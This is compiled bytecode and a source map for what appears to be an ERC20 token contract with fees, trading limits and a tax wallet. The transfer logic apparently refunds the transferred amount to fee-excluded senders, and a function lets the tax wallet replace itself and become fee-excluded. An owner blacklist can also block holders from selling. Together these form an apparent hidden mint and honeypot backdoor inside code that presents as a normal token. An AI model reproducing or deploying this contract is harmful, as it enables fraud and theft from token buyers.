7b565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c26009600a61176c565b6105d090631913385061177b565b60405190815260200160405180910390a1565b60006103cf338484610a4c565b6000546001600160a01b0316331461061a5760405162461bcd60e51b81526004016104de90611792565b600f54600160a01b900460ff16156106745760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104de565b600d546106a09030906001600160a01b03166106926009600a61176c565b61045490631913385061177b565b600d546001600160a01b031663f305d71947306106d2816001600160a01b031660009081526001602052604090205490565b6000806106e76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077491906117c7565b5050600f54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906117f5565b50600f805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108355760405162461bcd60e51b81526004016104de90611792565b60005b825181101561091657306001600160a01b031683828151811061085d5761085d611812565b60200260200101516001600160a01b0316036108bb5760405162461bcd60e51b815260206004820181905260248201527f43616e277420626c61636b6c69737420636f6e7472616374206164647265737360448201526064016104de565b81600460008584815181106108d2576108d2611812565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061090e81611828565b915050610838565b505050565b6001600160a01b0383166109845760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104de565b6001600160a01b0382166109eb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104de565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104de565b6001600160a01b038216610b125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104de565b60008111610b745760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104de565b600080546001600160a01b03858116911614801590610ba157506000546001600160a01b03848116911614155b15610f4f576001600160a01b03841660009081526004602052604090205460ff16158015610be857506001600160a01b03831660009081526004602052604090205460ff16155b610bf157600080fd5b610c1d6064610c17600954600c5411610c0c57600554610c10565b6007545b85906110cc565b90611155565b600f549091506001600160a01b038581169116148015610c4b5750600d546001600160a01b03848116911614155b8015610c7057506001600160a01b03831660009081526003602052604090205460ff16155b15610d5857601054821115610cc75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104de565b60115482610cea856001600160a01b031660009081526001602052604090205490565b610cf49190611841565b1115610d425760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104de565b600c8054906000610d5283611828565b91905055505b6001600160a01b03841660009081526003602052604090205460ff1615610da7576001600160a01b03841660009081526001602052604081208054849290610da1908490611841565b90915550505b600f546001600160a01b03848116911614801590610dde57506001600160a01b03831660009081526003602052604090205460ff16155b15610e5e5760115482610e06856001600160a01b031660009081526001602052604090205490565b610e109190611841565b1115610e5e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104de565b600f546001600160a01b038481169116148015610e8457506001600160a01b0384163014155b15610eb157610eae6064610c17600a54600c5411610ea457600654610c10565b60085485906110cc565b90505b30600090815260016020526040902054600f54600160a81b900460ff16158015610ee85750600f546001600160a01b038581169116145b8015610efd5750600f54600160b01b900460ff165b8015610f0a575060125481115b8015610f195750600b54600c54115b15610f4d57610f3b610f3684610f3184601354611197565b611197565b6111ac565b478015610f4b57610f4b47611326565b505b505b8015610fc95730600090815260016020526040902054610f6f9082611364565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc09085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610fec90836113c3565b6001600160a01b03851660009081526001602052604090205561103161101283836113c3565b6001600160a01b03851660009081526001602052604090205490611364565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107b85856113c3565b60405190815260200160405180910390a350505050565b600081848411156110b65760405162461bcd60e51b81526004016104de9190611433565b5060006110c38486611854565b95945050505050565b6000826000036110de575060006103d3565b60006110ea838561177b565b9050826110f78583611867565b1461114e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104de565b9392505050565b600061114e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b60008183116111a6578261114e565b50919050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f4576111f4611812565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561124d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112719190611889565b8160018151811061128457611284611812565b6001600160a01b039283166020918202929092010152600d546112aa913091168461091b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e39085906000908690309042906004016118a6565b600060405180830381600087803b1580156112fd57600080fd5b505af1158015611311573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611360573d6000803e3d6000fd5b5050565b6000806113718385611841565b90508381101561114e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104de565b600061114e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611092565b600081836114265760405162461bcd60e51b81526004016104de9190611433565b5060006110c38486611867565b600060208083528351808285015260005b8181101561146057858101830151858201604001528201611444565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149657600080fd5b50565b80356114a481611481565b919050565b600080604083850312156114bc57600080fd5b82356114c781611481565b946020939093013593505050565b6000806000606084860312156114ea57600080fd5b83356114f581611481565b9250602084013561150581611481565b929592945050506040919091013590565b60006020828403121561152857600080fd5b813561114e81611481565b6000806040838503121561154657600080fd5b823561155181611481565b9150602083013561156181611481565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b801515811461149657600080fd5b80356114a481611582565b600080604083850312156115ae57600080fd5b823567ffffffffffffffff808211156115c657600080fd5b818501915085601f8301126115da57600080fd5b81356020828211156115ee576115ee61156c565b8160051b604051601f19603f830116810181811086821117156116135761161361156c565b60405292835281830193508481018201928984111561163157600080fd5b948201945b838610156116565761164786611499565b85529482019493820193611636565b96506116659050878201611590565b9450505050509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116c35781600019048211156116a9576116a9611672565b808516156116b657918102915b93841c939080029061168d565b509250929050565b6000826116da575060016103d3565b816116e7575060006103d3565b81600181146116fd576002811461170757611723565b60019150506103d3565b60ff84111561171857611718611672565b50506001821b6103d3565b5060208310610133831016604e8410600b8410161715611746575081810a6103d3565b6117508383611688565b806000190482111561176457611764611672565b029392505050565b600061114e60ff8416836116cb565b80820281158282048414176103d3576103d3611672565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117dc57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180757600080fd5b815161114e81611582565b634e487b7160e01b600052603260045260246000fd5b60006001820161183a5761183a611672565b5060010190565b808201808211156103d3576103d3611672565b818103818111156103d3576103d3611672565b60008261188457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189b57600080fd5b815161114e81611481565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118f65784516001600160a01b0316835293830193918301916001016118d1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d450ca762036aee4adf5f97a8b95526a48da818f49f9ccbf42bcd03306680f7a64736f6c63430008130033

3652:7706:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5638:83;;;;;;;;;;-1:-1:-1;5708:5:0;;;;;;;;;;;;-1:-1:-1;;;5708:5:0;;;;5638:83;;;;;;;:::i;:::-;;;;;;;;6145:161;;;;;;;;;;-1:-1:-1;6145:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6145:161:0;1162:187:1;4949:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4949:51:0;1354:177:1;5915:95:0;;;;;;;;;;;;;:::i;6465:313::-;;;;;;;;;;-1:-1:-1;6465:313:0;;;;;:::i;:::-;;:::i;5824:83::-;;;;;;;;;;-1:-1:-1;5824:83:0;;4448:1;2139:36:1;;2127:2;2112:18;5824:83:0;1997:184:1;6953:188:0;;;;;;;;;;-1:-1:-1;6953:188:0;;;;;:::i;:::-;;:::i;:::-;;6018:119;;;;;;;;;;-1:-1:-1;6018:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6111:18:0;6084:7;6111:18;;;:9;:18;;;;;;;6018:119;913:148;;;;;;;;;;;;;:::i;6786:159::-;;;;;;;;;;;;;:::i;4759:59::-;;;;;;;;;;;;;;;;699:79;;;;;;;;;;-1:-1:-1;737:7:0;764:6;699:79;;-1:-1:-1;;;;;764:6:0;;;2844:51:1;;2832:2;2817:18;699:79:0;2698:203:1;4825:59:0;;;;;;;;;;;;;;;;5729:87;;;;;;;;;;-1:-1:-1;5801:7:0;;;;;;;;;;;;-1:-1:-1;;;5801:7:0;;;;5729:87;;7247:167;;;;;;;;;;-1:-1:-1;7247:167:0;;;;;:::i;:::-;;:::i;4891:51::-;;;;;;;;;;;;;;;;10504:459;;;;;;;;;;;;;:::i;6314:143::-;;;;;;;;;;-1:-1:-1;6314:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6422:18:0;;;6395:7;6422:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6314:143;10208:288;;;;;;;;;;-1:-1:-1;10208:288:0;;;;;:::i;:::-;;:::i;6145:161::-;6220:4;6237:39;356:10;6260:7;6269:6;6237:8;:39::i;:::-;-1:-1:-1;6294:4:0;6145:161;;;;;:::o;5915:95::-;5968:7;4505:13;4448:1;4505:2;:13;:::i;:::-;4491:27;;:11;:27;:::i;:::-;5988:14;;5915:95;:::o;6465:313::-;6563:4;6580:36;6590:6;6598:9;6609:6;6580:9;:36::i;:::-;6627:121;6636:6;356:10;6658:89;6696:6;6658:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6658:19:0;;;;;;:11;:19;;;;;;;;356:10;6658:33;;;;;;;;;;:37;:89::i;:::-;6627:8;:121::i;:::-;-1:-1:-1;6766:4:0;6465:313;;;;;:::o;6953:188::-;7043:10;;-1:-1:-1;;;;;7043:10:0;7029;:24;7021:33;;;;;;7065:10;:20;;-1:-1:-1;;;;;7065:20:0;;;-1:-1:-1;;;;;;7065:20:0;;;;;;;:10;7096:30;;;:18;:30;;;;;:37;;-1:-1:-1;;7096:37:0;7065:20;7096:37;;;6953:188::o;913:148::-;826:6;;-1:-1:-1;;;;;826:6:0;356:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;;;;;;:::i;:::-;;;;;;;;;1020:1:::1;1004:6:::0;;983:40:::1;::::0;-1:-1:-1;;;;;1004:6:0;;::::1;::::0;983:40:::1;::::0;1020:1;;983:40:::1;1051:1;1034:19:::0;;-1:-1:-1;;;;;;1034:19:0::1;::::0;;913:148::o;6786:159::-;826:6;;-1:-1:-1;;;;;826:6:0;356:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;;;;;;:::i;:::-;4505:13:::1;4448:1;4505:2;:13;:::i;:::-;4491:27;::::0;:11:::1;:27;:::i;:::-;6839:12;:22:::0;4505:13:::1;4448:1;4505:2;:13;:::i;:::-;4491:27;::::0;:11:::1;:27;:::i;:::-;6872:14;:22:::0;6910:27:::1;4505:13;4448:1;4505:2;:13;:::i;:::-;4491:27;::::0;:11:::1;:27;:::i;:::-;6910;::::0;1500:25:1;;;1488:2;1473:18;6910:27:0::1;;;;;;;6786:159::o:0;7247:167::-;7325:4;7342:42;356:10;7366:9;7377:6;7342:9;:42::i;10504:459::-;826:6;;-1:-1:-1;;;;;826:6:0;356:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;;;;;;:::i;:::-;10568:11:::1;::::0;-1:-1:-1;;;10568:11:0;::::1;;;10567:12;10559:47;;;::::0;-1:-1:-1;;;10559:47:0;;7134:2:1;10559:47:0::1;::::0;::::1;7116:21:1::0;7173:2;7153:18;;;7146:30;7212:25;7192:18;;;7185:53;7255:18;;10559:47:0::1;6932:347:1::0;10559:47:0::1;10649:15;::::0;10617:58:::1;::::0;10634:4:::1;::::0;-1:-1:-1;;;;;10649:15:0::1;4505:13;4448:1;4505:2;:13;:::i;:::-;4491:27;::::0;:11:::1;:27;:::i;10617:58::-;10686:15;::::0;-1:-1:-1;;;;;10686:15:0::1;:31;10725:21;10756:4;10762:24;10756:4:::0;-1:-1:-1;;;;;6111:18:0;6084:7;6111:18;;;:9;:18;;;;;;;6018:119;10762:24:::1;10787:1;10789::::0;10791:7:::1;737::::0;764:6;-1:-1:-1;;;;;764:6:0;;699:79;10791:7:::1;10686:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10686:129:0;;;-1:-1:-1;;;;;7643:15:1;;;10686:129:0::1;::::0;::::1;7625:34:1::0;7675:18;;;7668:34;;;;7718:18;;;7711:34;;;;7761:18;;;7754:34;7825:15;;;7804:19;;;7797:44;10799:15:0::1;7857:19:1::0;;;7850:35;7559:19;;10686:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10833:13:0::1;::::0;10864:15:::1;::::0;10826:71:::1;::::0;-1:-1:-1;;;10826:71:0;;-1:-1:-1;;;;;10864:15:0;;::::1;10826:71;::::0;::::1;8381:51:1::0;-1:-1:-1;;8448:18:1;;;8441:34;10833:13:0;::::1;::::0;-1:-1:-1;10826:29:0::1;::::0;8354:18:1;;10826:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10908:11:0::1;:18:::0;;-1:-1:-1;;;;10937:18:0;-1:-1:-1;;;10937:18:0;;;10504:459::o;10208:288::-;826:6;;-1:-1:-1;;;;;826:6:0;356:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;;;;;;:::i;:::-;10307:6:::1;10302:187;10323:7;:14;10319:1;:18;10302:187;;;10389:4;-1:-1:-1::0;;;;;10367:27:0::1;:7;10375:1;10367:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10367:27:0::1;::::0;10359:72:::1;;;::::0;-1:-1:-1;;;10359:72:0;;9070:2:1;10359:72:0::1;::::0;::::1;9052:21:1::0;;;9089:18;;;9082:30;9148:34;9128:18;;;9121:62;9200:18;;10359:72:0::1;8868:356:1::0;10359:72:0::1;10469:8;10446;:20;10455:7;10463:1;10455:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10446:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10446:20:0;:31;;-1:-1:-1;;10446:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10339:3;::::1;::::0;::::1;:::i;:::-;;;;10302:187;;;;10208:288:::0;;:::o;11008:347::-;-1:-1:-1;;;;;11101:19:0;;11093:74;;;;-1:-1:-1;;;11093:74:0;;9571:2:1;11093:74:0;;;9553:21:1;9610:2;9590:18;;;9583:30;9649:34;9629:18;;;9622:62;-1:-1:-1;;;9700:18:1;;;9693:40;9750:19;;11093:74:0;9369:406:1;11093:74:0;-1:-1:-1;;;;;11186:21:0;;11178:74;;;;-1:-1:-1;;;11178:74:0;;9982:2:1;11178:74:0;;;9964:21:1;10021:2;10001:18;;;9994:30;10060:34;10040:18;;;10033:62;-1:-1:-1;;;10111:18:1;;;10104:38;10159:19;;11178:74:0;9780:404:1;11178:74:0;-1:-1:-1;;;;;11263:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11315:32;;1500:25:1;;;11315:32:0;;1473:18:1;11315:32:0;;;;;;;11008:347;;;:::o;7422:2179::-;-1:-1:-1;;;;;7510:18:0;;7502:68;;;;-1:-1:-1;;;7502:68:0;;10391:2:1;7502:68:0;;;10373:21:1;10430:2;10410:18;;;10403:30;10469:34;10449:18;;;10442:62;-1:-1:-1;;;10520:18:1;;;10513:35;10565:19;;7502:68:0;10189:401:1;7502:68:0;-1:-1:-1;;;;;7589:16:0;;7581:64;;;;-1:-1:-1;;;7581:64:0;;10797:2:1;7581:64:0;;;10779:21:1;10836:2;10816:18;;;10809:30;10875:34;10855:18;;;10848:62;-1:-1:-1;;;10926:18:1;;;10919:33;10969:19;;7581:64:0;10595:399:1;7581:64:0;7673:1;7664:6;:10;7656:64;;;;-1:-1:-1;;;7656:64:0;;11201:2:1;7656:64:0;;;11183:21:1;11240:2;11220:18;;;11213:30;11279:34;11259:18;;;11252:62;-1:-1:-1;;;11330:18:1;;;11323:39;11379:19;;7656:64:0;10999:405:1;7656:64:0;7731:17;764:6;;-1:-1:-1;;;;;7765:15:0;;;764:6;;7765:15;;;;:32;;-1:-1:-1;737:7:0;764:6;-1:-1:-1;;;;;7784:13:0;;;764:6;;7784:13;;7765:32;7761:1484;;;-1:-1:-1;;;;;7823:14:0;;;;;;:8;:14;;;;;;;;7822:15;:32;;;;-1:-1:-1;;;;;;7842:12:0;;;;;;:8;:12;;;;;;;;7841:13;7822:32;7814:41;;;;;;7882:76;7954:3;7882:67;7904:15;;7894:9;;:25;7893:55;;7934:14;;7893:55;;;7921:12;;7893:55;7882:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7987:13;;7870:88;;-1:-1:-1;;;;;;7979:21:0;;;7987:13;;7979:21;:55;;;;-1:-1:-1;8018:15:0;;-1:-1:-1;;;;;8004:30:0;;;8018:15;;8004:30;;7979:55;:83;;;;-1:-1:-1;;;;;;8040:22:0;;;;;;:18;:22;;;;;;;;8038:24;7979:83;7975:313;;;8102:12;;8092:6;:22;;8084:60;;;;-1:-1:-1;;;8084:60:0;;11611:2:1;8084:60:0;;;11593:21:1;11650:2;11630:18;;;11623:30;11689:27;11669:18;;;11662:55;11734:18;;8084:60:0;11409:349:1;8084:60:0;8197:14;;8187:6;8171:13;8181:2;-1:-1:-1;;;;;6111:18:0;6084:7;6111:18;;;:9;:18;;;;;;;6018:119;8171:13;:22;;;;:::i;:::-;:40;;8163:79;;;;-1:-1:-1;;;8163:79:0;;12095:2:1;8163:79:0;;;12077:21:1;12134:2;12114:18;;;12107:30;12173:28;12153:18;;;12146:56;12219:18;;8163:79:0;11893:350:1;8163:79:0;8261:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7975:313;-1:-1:-1;;;;;8306:24:0;;;;;;:18;:24;;;;;;;;8302:60;;;-1:-1:-1;;;;;8334:15:0;;;;;;:9;:15;;;;;:25;;8353:6;;8334:15;:25;;8353:6;;8334:25;:::i;:::-;;;;-1:-1:-1;;8302:60:0;8386:13;;-1:-1:-1;;;;;8380:19:0;;;8386:13;;8380:19;;;;:47;;-1:-1:-1;;;;;;8405:22:0;;;;;;:18;:22;;;;;;;;8403:24;8380:47;8376:167;;;8482:14;;8472:6;8456:13;8466:2;-1:-1:-1;;;;;6111:18:0;6084:7;6111:18;;;:9;:18;;;;;;;6018:119;8456:13;:22;;;;:::i;:::-;:40;;8448:79;;;;-1:-1:-1;;;8448:79:0;;12095:2:1;8448:79:0;;;12077:21:1;12134:2;12114:18;;;12107:30;12173:28;12153:18;;;12146:56;12219:18;;8448:79:0;11893:350:1;8448:79:0;8566:13;;-1:-1:-1;;;;;8560:19:0;;;8566:13;;8560:19;:43;;;;-1:-1:-1;;;;;;8583:20:0;;8598:4;8583:20;;8560:43;8557:174;;;8636:79;8711:3;8636:70;8658:16;;8648:9;;:26;8647:58;;8690:15;;8647:58;;;8676:13;;8636:6;;:10;:70::i;:79::-;8624:91;;8557:174;8794:4;8745:28;6111:18;;;:9;:18;;;;;;8820:6;;-1:-1:-1;;;8820:6:0;;;;8819:7;:32;;;;-1:-1:-1;8838:13:0;;-1:-1:-1;;;;;8830:21:0;;;8838:13;;8830:21;8819:32;:47;;;;-1:-1:-1;8855:11:0;;-1:-1:-1;;;8855:11:0;;;;8819:47;:89;;;;;8891:17;;8870:20;:38;8819:89;:121;;;;;8922:18;;8912:9;;:28;8819:121;8815:419;;;8961:67;8978:49;8982:6;8989:37;8993:20;9014:11;;8989:3;:37::i;:::-;8978:3;:49::i;:::-;8961:16;:67::i;:::-;9076:21;9119:22;;9116:103;;9166:33;9177:21;9166:10;:33::i;:::-;8942:292;8815:419;7799:1446;7761:1484;9260:11;;9257:161;;9328:4;9310:24;;;;:9;:24;;;;;;:39;;9339:9;9310:28;:39::i;:::-;9303:4;9285:24;;;;:9;:24;;;;;;;:64;;;;9367:39;;-1:-1:-1;;;;;9367:39:0;;;;;;;9396:9;1500:25:1;;1488:2;1473:18;;1354:177;9367:39:0;;;;;;;;9257:161;-1:-1:-1;;;;;9444:15:0;;;;;;:9;:15;;;;;;:27;;9464:6;9444:19;:27::i;:::-;-1:-1:-1;;;;;9428:15:0;;;;;;:9;:15;;;;;:43;9496:40;9514:21;:6;9525:9;9514:10;:21::i;:::-;-1:-1:-1;;;;;9496:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9482:13:0;;;;;;;:9;:13;;;;;:54;;;;9552:41;;;9571:21;:6;9582:9;9571:10;:21::i;:::-;9552:41;;1500:25:1;;;1488:2;1473:18;9552:41:0;;;;;;;7491:2110;7422:2179;;;:::o;2864:190::-;2950:7;2986:12;2978:6;;;;2970:29;;;;-1:-1:-1;;;2970:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3010:9:0;3022:5;3026:1;3022;:5;:::i;:::-;3010:17;2864:190;-1:-1:-1;;;;;2864:190:0:o;3062:246::-;3120:7;3144:1;3149;3144:6;3140:47;;-1:-1:-1;3174:1:0;3167:8;;3140:47;3197:9;3209:5;3213:1;3209;:5;:::i;:::-;3197:17;-1:-1:-1;3242:1:0;3233:5;3237:1;3197:17;3233:5;:::i;:::-;:10;3225:56;;;;-1:-1:-1;;;3225:56:0;;12805:2:1;3225:56:0;;;12787:21:1;12844:2;12824:18;;;12817:30;12883:34;12863:18;;;12856:62;-1:-1:-1;;;12934:18:1;;;12927:31;12975:19;;3225:56:0;12603:397:1;3225:56:0;3299:1;3062:246;-1:-1:-1;;;3062:246:0:o;3316:132::-;3374:7;3401:39;3405:1;3408;3401:39;;;;;;;;;;;;;;;;;:3;:39::i;10102:98::-;10159:7;10186:1;10184;:3;10183:9;;10191:1;10183:9;;;-1:-1:-1;10189:1:0;10102:98;-1:-1:-1;10102:98:0:o;9609:483::-;5091:6;:13;;-1:-1:-1;;;;5091:13:0;-1:-1:-1;;;5091:13:0;;;9711:16:::1;::::0;;9725:1:::1;9711:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9711:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9711:16:0::1;9687:40;;9756:4;9738;9743:1;9738:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9738:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9782:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9782:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9738:7;;9782:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9772:4;9777:1;9772:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9772:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9847:15:::1;::::0;9815:62:::1;::::0;9832:4:::1;::::0;9847:15:::1;9865:11:::0;9815:8:::1;:62::i;:::-;9888:15;::::0;:196:::1;::::0;-1:-1:-1;;;9888:196:0;;-1:-1:-1;;;;;9888:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9969:11;;9888:15:::1;::::0;10011:4;;10038::::1;::::0;10058:15:::1;::::0;9888:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5127:6:0;:14;;-1:-1:-1;;;;5127:14:0;;;-1:-1:-1;;;;9609:483:0:o;7149:90::-;7204:10;;:27;;-1:-1:-1;;;;;7204:10:0;;;;:27;;;;;7224:6;;7204:10;:27;:10;:27;7224:6;7204:10;:27;;;;;;;;;;;;;;;;;;;;;7149:90;:::o;2533:179::-;2591:7;;2623:5;2627:1;2623;:5;:::i;:::-;2611:17;;2652:1;2647;:6;;2639:46;;;;-1:-1:-1;;;2639:46:0;;14448:2:1;2639:46:0;;;14430:21:1;14487:2;14467:18;;;14460:30;14526:29;14506:18;;;14499:57;14573:18;;2639:46:0;14246:351:1;2720:136:0;2778:7;2805:43;2809:1;2812;2805:43;;;;;;;;;;;;;;;;;:3;:43::i;3456:189::-;3542:7;3577:12;3570:5;3562:28;;;;-1:-1:-1;;;3562:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3601:9:0;3613:5;3617:1;3613;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:255::-;2253:6;2306:2;2294:9;2285:7;2281:23;2277:32;2274:52;;;2322:1;2319;2312:12;2274:52;2361:9;2348:23;2380:31;2405:5;2380:31;:::i;2906:388::-;2974:6;2982;3035:2;3023:9;3014:7;3010:23;3006:32;3003:52;;;3051:1;3048;3041:12;3003:52;3090:9;3077:23;3109:31;3134:5;3109:31;:::i;:::-;3159:5;-1:-1:-1;3216:2:1;3201:18;;3188:32;3229:33;3188:32;3229:33;:::i;:::-;3281:7;3271:17;;;2906:388;;;;;:::o;3299:127::-;3360:10;3355:3;3351:20;3348:1;3341:31;3391:4;3388:1;3381:15;3415:4;3412:1;3405:15;3431:118;3517:5;3510:13;3503:21;3496:5;3493:32;3483:60;;3539:1;3536;3529:12;3554:128;3619:20;;3648:28;3619:20;3648:28;:::i;3687:1191::-;3777:6;3785;3838:2;3826:9;3817:7;3813:23;3809:32;3806:52;;;3854:1;3851;3844:12;3806:52;3894:9;3881:23;3923:18;3964:2;3956:6;3953:14;3950:34;;;3980:1;3977;3970:12;3950:34;4018:6;4007:9;4003:22;3993:32;;4063:7;4056:4;4052:2;4048:13;4044:27;4034:55;;4085:1;4082;4075:12;4034:55;4121:2;4108:16;4143:4;4166:2;4162;4159:10;4156:36;;;4172:18;;:::i;:::-;4218:2;4215:1;4211:10;4250:2;4244:9;4313:2;4309:7;4304:2;4300;4296:11;4292:25;4284:6;4280:38;4368:6;4356:10;4353:22;4348:2;4336:10;4333:18;4330:46;4327:72;;;4379:18;;:::i;:::-;4415:2;4408:22;4465:18;;;4499:15;;;;-1:-1:-1;4541:11:1;;;4537:20;;;4569:19;;;4566:39;;;4601:1;4598;4591:12;4566:39;4625:11;;;;4645:148;4661:6;4656:3;4653:15;4645:148;;;4727:23;4746:3;4727:23;:::i;:::-;4715:36;;4678:12;;;;4771;;;;4645:148;;;4812:6;-1:-1:-1;4837:35:1;;-1:-1:-1;4853:18:1;;;4837:35;:::i;:::-;4827:45;;;;;;